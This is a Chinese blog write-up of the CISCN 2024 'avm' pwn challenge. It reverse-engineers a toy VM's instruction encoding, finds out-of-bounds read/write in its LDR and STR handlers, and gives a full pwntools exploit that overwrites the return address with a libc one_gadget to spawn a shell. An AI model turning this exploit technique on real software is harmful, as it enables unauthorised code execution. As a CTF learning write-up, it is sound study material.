[ 2024 · CISCN x 长城杯 ] pwn avm

1|02024 CISCN x 长城杯 AVM

1|1avm

VM入门题。不过挺吃逆向经验的。之前都是复现,这算是第一次比赛的时候做出vm题。这个题的逆向思路非常经典,所以分享一下。

1|01.程序逆向

函数主函数如下:

unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3) { _BYTE s[3080]; // [rsp+0h] [rbp-C10h] BYREF unsigned __int64 v5; // [rsp+C08h] [rbp-8h] v5 = __readfsqword(0x28u); init(); memset(s, 0, 0x300uLL); write(1, "opcode: ", 8uLL); read(0, s, 0x300uLL); sub_1230(&unk_40C0, s, 768LL); sub_19F1(&unk_40C0); return v5 - __readfsqword(0x28u); }

memset了0x300的内存,write提示这块内存作为opcode输入,所以可以得到s变量就是opcode,之后的sub_1230和sub_19F1函数就是对我们输入的opcode的处理了。也是这个vm的主要功能

1|01.1 寄存器结构体逆向

首先看sub_1230函数:

_QWORD *__fastcall sub_1230(_QWORD *a1, __int64 opcode, __int64 size) { _QWORD *result; // rax int i; // [rsp+24h] [rbp-4h] a1[33] = opcode; a1[34] = size; result = a1; a1[32] = 0LL; for ( i = 0; i <= 31; ++i ) { result = a1; a1[i] = 0LL; } return result; }

for循环有一个非常经典的循环32次置空的操作,这个是把32个通用寄存器置空的操作
另外从数组的32到34赋值操作的含义分别:
为33号寄存器赋值opcode的基地址
为34号寄存器赋值opcode的最大长度,可能是用来限制指令读取,防止越界的。
32号寄存器赋值为空,这里暂时不知道作用是什么。

之后可以为IDA编辑如下结构体:

struct registers{ __int64 r[32]; __int64 unknown; __int64 op_base; __int64 op_size; };

之后去逆向sub_19F1函数

unsigned __int64 __fastcall sub_19F1(_QWORD *a1) { unsigned int v2; // [rsp+1Ch] [rbp-114h] _BYTE s[264]; // [rsp+20h] [rbp-110h] BYREF unsigned __int64 v4; // [rsp+128h] [rbp-8h] v4 = __readfsqword(0x28u); memset(s, 0, 0x100uLL); while ( a1[32] < a1[34] ) { v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28; if ( v2 > 0xA || !v2 ) { puts("Unsupported instruction"); return v4 - __readfsqword(0x28u); } (funcs_1AAD[v2])(a1, s); } return v4 - __readfsqword(0x28u); }

程序上来先memset了0x100的内存,并在执行指令时将内存作为参数传递:(funcs_1AAD[v2])(a1, s);
其中,v2来锁定执行的是哪条命令:

v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;是将opcode转换为指令的译码过程。
其中已知33号寄存器是基地址,那么32号寄存器应该就是偏移地址。两个地址相加处理后的地址是当前执行的指令地址,对当前指令地址右移28位就是指令的操作码。

可以看到这个是一个定长的指令集hh

那么现在可以将结构体修改为下面的样子了:

struct registers{ __int64 r[32]; __int64 ip; __int64 cs; __int64 op_size; };

之后去逆向指令即可

1|01.2 指令逆向

我们从第一个开始分析:下面是已经逆向好的内容:

Reg *__fastcall ADD(Reg *reg) { Reg *result; // rax unsigned int PC; // [rsp+10h] [rbp-10h] PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL)); reg->ip += 4LL; result = reg; reg->r[PC & 0x1F] = reg->r[HIWORD(PC) & 0x1F] + reg->r[(PC >> 5) & 0x1F]; return result; }

此处我们逆向的目的是分析指令编码情况:

  • 通过 reg->r[PC & 0x1F]我们可以看到,指令的低5位是用来指定通用寄存器序号的(0x1f),并且是保存操作结果的
  • 之前v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;可以看到,指令的高36位(64位定长指令)或者高4位(32位定长指令)是用来指定指令操作码的
  • reg->ip += 4LL;可以看到,以4字节为一个单位长度,代表指令是32位。

指令码大致如下:32bit:

0001 |0000 000|0 0000 | 0000 00| 00 000 |0 0000 操作码| |操作reg号| | reg号 |reg号 仅1~10 | | HIWORD(PC) & 0x1F | (PC >> 5) & 0x1F

之后其他指令都与此类似。唯二两个不同的指令如下:

unsigned __int64 __fastcall STR(Reg *reg, __int64 s) { unsigned __int64 result; // rax unsigned int PC; // [rsp+20h] [rbp-20h] _QWORD *v4; // [rsp+30h] [rbp-10h] PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL)); reg->ip += 4LL; result = byte_4010; if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 ) { v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s); *v4 = reg->r[PC & 0x1F]; return v4; } return result; }
Reg *__fastcall LDR(Reg *reg, __int64 s) { Reg *result; // rax unsigned __int16 v3; // [rsp+1Eh] [rbp-22h] unsigned int PC; // [rsp+20h] [rbp-20h] PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL)); reg->ip += 4LL; result = byte_4010; if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 ) { result = reg; v3 = reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF); reg->r[PC & 0x1F] = (*(v3 + s + 7) << 56) | (*(v3 + s + 6) << 48) | (*(v3 + s + 5) << 40) | (*(v3 + s + 4) << 32) | (*(v3 + s + 3) << 24) | (*(v3 + s + 2) << 16) | *(v3 + s); } return result; }

byte_4010中存的是0xff,if检查判断要求之后操作的地址范围在之前memset的0x100以内

检查条件如下:

if ( (unsigned __int8)(reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < (unsigned __int8)byte_4010 )

STR指令赋值操作:

v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);

s是memset内存的基地址,(reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF))是偏移

这里可以看到检测条件是0xff以内,但是if里面的赋值操作却可以写s加0x1000偏移以内的数据

1|02.漏洞利用

很明显,LDR和STR存在越界读写漏洞
没有输出函数,无法获得libc,打法是:

  • 先构造一个LDR把一个onegadget附件的libc地址写入寄存器。
  • 利用SUB指令将这个libc减去和onegadget的偏移,结果保存在指定寄存器中
  • 利用STR把onegadget地址写入到main函数返回地址上。

这里解释一下下面的exp,sub操作只能在寄存器之间操作。所以无法直接写入一个我们希望的数据。利用方法是:先在opcode末尾加入我们计算好的onegadget与指定libc地址的偏移,然后通过STR指令将这个数据读入到寄存器中,再sub即可

1|03.exp

from ctypes import * from pwn import * banary = "/home/giantbranch/PWN/question/CISCN/2025/avm/pwn" elf = ELF(banary) # libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") # libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so") ip = '8.147.135.93' port = 37051 local = 1 if local: io = process(banary) else: io = remote(ip, port) # context(log_level = 'debug', os = 'linux', arch = 'amd64') context(log_level = 'debug', os = 'linux', arch = 'i386') def protect_ptr(address, next)-> int: return (address >> 12)^ next def dbg(): gdb.attach(io) pause() s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) iuu32 = lambda : int(io.recv(10),16) iuu64 = lambda : int(io.recv(6),16) uheap = lambda : u64(io.recv(6).ljust(8,b'\x00')) lg = lambda addr : log.info(addr) ia = lambda : io.interactive() def ADD(): ins = 1 opcode = ins<<28 return p32(opcode) def SUB(target_reg,sub_reg,besub_reg): ins = 2 sub_reg = (sub_reg & 0x1f) << 5 besub_reg = (besub_reg & 0x1f) << 16 opcode = (ins<<28) + (target_reg & 0x1f) + sub_reg + besub_reg return p32(opcode) def STR(reg_idx,offset,store_reg): ins = 9 reg_idx = (reg_idx & 0x1f) << 5 offset = (offset & 0xfff) << 16 opcode = (ins<<28) + (store_reg & 0x1f) + reg_idx + offset return p32(opcode) def LDR(reg_idx,offset,save_reg): ins = 10 reg_idx = (reg_idx & 0x1f) << 5 offset = (offset & 0xfff) << 16 opcode = (ins<<28) + (save_reg & 0x1f) + reg_idx + offset return p32(opcode) onegadget = 0x249040 - 0x50a47 #libc.sym['_dl_fini'] opcode = LDR(0,0xa40,1) + LDR(0,0x138,2) opcode += SUB(4,1,2) + STR(0,0x118,4) opcode += p64(0) opcode += p64(onegadget) # dbg() sa(b'opcode',opcode) # 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ) # constraints: # rsp & 0xf == 0 # rcx == NULL # rbp == NULL || (u16)[rbp] == NULL # 0xebc81 execve("/bin/sh", r10, [rbp-0x70]) # constraints: # address rbp-0x78 is writable # [r10] == NULL || r10 == NULL # [[rbp-0x70]] == NULL || [rbp-0x70] == NULL # 0xebc85 execve("/bin/sh", r10, rdx) # constraints: # address rbp-0x78 is writable # [r10] == NULL || r10 == NULL # [rdx] == NULL || rdx == NULL # 0xebc88 execve("/bin/sh", rsi, rdx) # constraints: # address rbp-0x78 is writable # [rsi] == NULL || rsi == NULL # [rdx] == NULL || rdx == NULL ia()

__EOF__

本文作者seyedog
本文链接https://www.cnblogs.com/seyedog/p/18636685.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   seyedog  阅读(139)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示